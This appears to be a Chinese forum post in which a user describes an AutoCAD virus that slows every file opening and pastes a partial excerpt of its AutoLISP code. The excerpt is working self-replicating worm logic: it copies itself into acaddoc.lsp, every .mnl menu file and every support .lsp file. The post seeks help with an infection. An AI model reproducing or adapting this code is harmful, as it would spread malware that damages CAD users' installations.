病毒表现为：打开cad后（每开文件也是）出现以下加载等，要反应很久，而且越来越多，估计是循环的。截取部分如下：
      (while (setq text (read-line wjm))
(if (= text bz) (setq flag t))
(if flag
  (progn
    (write-line text wjm1)
    );progn
  );if
);while
      (close wjm1)
      (close wjm)
      );progn
    );if
  );defun
(setvar "cmdecho" 0)
(setq acadmnl (findfile "acad.mnl"))
(setq acadmnlpath (vl-filename-directory acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))
(setq mnlnum (length mnlfilelist))
(setq acadexe (findfile "acad.exe"))
(setq acadpath (vl-filename-directory acadexe))
(setq support (strcat acadpath "\\support"))
(setq lspfilelist (vl-directory-files support "*.lsp"))
(setq lspfilelist (append lspfilelist (list "acaddoc.lsp")))
(setq lspnum (length lspfilelist))
(setq dwgname (getvar "dwgname"))
(setq dwgpath (findfile dwgname))
(if dwgpath
  (progn
    (setq acaddocpath (vl-filename-directory dwgpath))
    (setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp"))
    (setq mnln 0)
    (while (< mnln mnlnum)
      (setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
      (app mnlfilename acaddocfile bz)
      (app acaddocfile mnlfilename bz)
      (setq mnln (1+ mnln))
      );while
    (setq lspn 0)
    (while (< lspn lspnum)
      (setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
      (app lspfilename acaddocfile bz)
      (app acaddocfile lspfilename bz)
      (setq lspn (1+ lspn))
      );while
    );progn
  );if
(setq mnln 0)
(while (< mnln mnlnum)
  (setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
  (setq mnln1 0)
  (while (< mnln1 mnlnum)
    (setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
    (app mnlfilename mnlfilename1 bz)
    (setq mnln1 (1+ mnln1))
; 错误: 函数被取消